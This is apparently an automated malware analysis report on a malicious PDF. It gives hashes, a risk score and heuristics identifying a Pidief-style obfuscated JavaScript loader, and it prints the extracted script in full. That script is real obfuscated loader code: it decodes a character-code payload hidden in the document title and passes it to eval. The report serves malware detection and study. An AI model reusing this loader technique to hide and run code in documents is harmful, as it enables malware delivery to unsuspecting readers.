Malicious PDF — malware analysis report

Static analysis result for SHA-256 517e005e6c8cf945…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 8ff286e82295d7cfa7fc7c244f365521 SHA-1: ad4e62a1a5111d717b95617f22c69c300760d24f SHA-256: 517e005e6c8cf94561e351d1c85c35ad0144c3c90a858130b430dc81d59a6dc1
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB01C 615 bytes
SHA-256: 37b504ef1679eb9ab8663c4c292cf16a129f7b048c2d71fb1467c31024ed57b8
Preview script
First 1,000 lines of the extracted script
odvh='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
tyzg=e('ti'+'tle');
s=tyzg.substr(t.length + 8,3)+'str';
q=tyzg[s](1,(1,9));
nbcqa=e('S'+'tring.fro'+q);
q=tyzg[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	texn = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	odvh += nbcqa(texn);
}
e(odvh);

Open this report in the interactive analyzer, or submit your own file for analysis.